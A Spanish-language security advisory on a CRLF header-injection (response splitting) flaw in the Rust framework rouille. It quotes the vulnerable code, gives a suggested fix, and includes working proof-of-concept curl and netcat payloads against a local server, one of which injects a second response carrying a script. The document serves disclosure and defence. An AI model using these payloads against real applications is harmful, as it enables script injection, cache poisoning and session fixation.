
Aviso de seguridad: División de respuesta HTTP mediante valores de cabecera de respuesta no validados (rouille)
ID de CVE asignado: CVE-2026-66746
rouille escribe los valores de las cabeceras de respuesta al cliente sin comprobar si contienen retorno de carro o salto de línea. Una aplicación que coloque texto influenciado por el atacante en un valor de cabecera emite por tanto cabeceras adicionales, o una segunda respuesta HTTP completa, por el cable.
Dos propiedades de rouille hacen que esto sea alcanzable en código ordinario. Request::get_param
decodifica los escapes de porcentaje, por lo que %0d%0a en una cadena de consulta se convierte en un CRLF real. Y
session::session copia el valor de Cookie del propio cliente en Set-Cookie sin
validación alguna.
Cualquier otra pila HTTP de Rust ampliamente utilizada rechaza esto a nivel de tipo:
http::HeaderValue::from_str devuelve InvalidHeaderValue para CR y LF, por lo que
hyper, axum, actix-web y warp no están expuestos de la misma manera.
URL del repositorio: https://github.com/tomaka/rouille
| Primera versión afectada | 0.4.0 (2016-12-14) para la ruta de cabecera de respuesta indicada abajo |
| Última versión afectada | 3.6.2 (2023-04-24), la versión actual |
| Corregida en | sin versión corregida en el momento de redactar esto |
Las versiones anteriores a 0.4.0 emiten respuestas a través de una ruta de código diferente que no fue
examinada, por lo que no se hacen afirmaciones al respecto. El reflejo de session::session
descrito en la ruta B existe desde 0.3.2 (2016-12-02) en adelante.
CWE-113 (Neutralización incorrecta de secuencias CRLF en cabeceras HTTP), un caso específico de CWE-93 (Inyección CRLF).
Puntuación base CVSS 4.0: 5.3 (Media)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
La ruta A requiere un atacante remoto, no autenticado, y una víctima que siga un
enlace proporcionado por el atacante. El atacante necesita que la aplicación coloque cualquier
cadena derivada de la petición en una cabecera de respuesta. Redirigir a un parámetro de consulta next o
return_to es el caso habitual.
La ruta B solo requiere que la aplicación llame a session::session y lea el
id de sesión. El atacante controla su propia cabecera Cookie, por lo que, por sí solo,
esto es autoinfligido. Se convierte en un ataque contra otros cuando una caché compartida
almacena la respuesta dividida, o cuando se combina con otra forma de establecer una cookie en
el navegador de la víctima.
En rouille/src/lib.rs, líneas 624 a 640, los valores se pasan directamente:
624 for (key, value) in roulette_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytes solo comprueba que los bytes sean ASCII, y CR y LF son
ASCII. tiny_http-0.12.0/src/common.rs, líneas 166 a 172:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
El valor se escribe entonces sin escape.
tiny_http-0.12.0/src/response.rs, líneas 99 a 104:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_param decodifica los escapes de porcentaje, por lo que el llamador recibe caracteres de control
reales. rouille/src/lib.rs, líneas 928 a 932:
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rs toma la clave de la cookie del cliente en la línea 59 y
la interpola en la cabecera de respuesta en las líneas 75 a 81:
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
Paso 1. Inicie un servidor que redirija a un parámetro de consulta.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
Paso 2. Haga la petición con %0d%0a en el parámetro.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
Resultado. X-Injected llega como cabecera propia:
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
Paso 3. Extienda el payload más allá del final de las cabeceras para emitir una segunda respuesta completa.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
Resultado. Una petición, dos respuestas completas. La segunda lleva una línea de estado, un tipo de contenido y un cuerpo elegidos por el atacante:
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
Paso 1. Inicie un servidor utilizando el patrón de sesión documentado.
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
Paso 2. Envíe una cookie cuyo valor contenga un LF simple. \n a continuación es un único
salto de línea; \r\n es un CRLF.
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
Resultado. El valor se escapa de Set-Cookie a su propia línea:
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
La ruta B tiene tres limitaciones dignas de mención. Solo un LF simple consigue pasar, porque un CRLF
habría terminado la línea de cabecera en tiny_http, por lo que el cliente o la caché debe
tratar un LF aislado como terminador. Todo lo que va después del punto de inyección sigue
llevando el sufijo ; Max-Age=3600; Path=/; HttpOnly del mismo format!,
por lo que la primitiva es una cabecera con una cadena final fija en lugar de una
cabecera arbitraria limpia. Y el atacante solo controla su propia cookie. La ruta A no tiene
ninguna de estas limitaciones.
Ejecución de scripts en el contexto de seguridad del origen, envenenamiento de caché cuando una caché
compartida almacena la respuesta inyectada contra la URL de la víctima, fijación de sesión
mediante un Set-Cookie inyectado y sobrescritura de cabeceras de seguridad como CSP o
CORS. Dado que la ruta A produce un CRLF real, todo cliente y caché divide por él.
Valide los valores de cabecera en Server::process antes de pasarlos a tiny_http,
en rouille/src/lib.rs alrededor de la línea 634:
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
Devuelva un 500 para toda la respuesta en lugar de descartar la cabecera infractora, de modo que el fallo sea visible en lugar de cambiar silenciosamente la respuesta.
Valide también la clave de sesión en session::session: rechace un valor de cookie
que no sea [A-Za-z0-9]+ y genere un id nuevo en su lugar. Comprobar en
Response::with_additional_header, with_unique_header y los constructores redirect_*
haría que el error aflorara en el punto de llamada, donde el autor de la aplicación
puede actuar sobre él.